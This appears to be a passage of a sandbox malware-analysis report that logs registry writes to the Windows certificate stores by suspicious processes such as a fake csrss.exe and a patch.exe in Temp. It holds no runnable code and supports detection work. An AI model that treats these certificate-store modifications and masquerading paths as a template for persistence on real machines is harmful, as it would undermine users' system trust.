0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 C:\Windows\rss\csrss.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 C:\Users\Admin\AppData\Local\Temp\setup.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e4030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 C:\Windows\rss\csrss.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 040000000100000010000000e4a68ac854ac5242460afd72481b2a440f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec5290f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae474040000000100000010000000acb694a59c17e0d791529bb19706a6e420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d1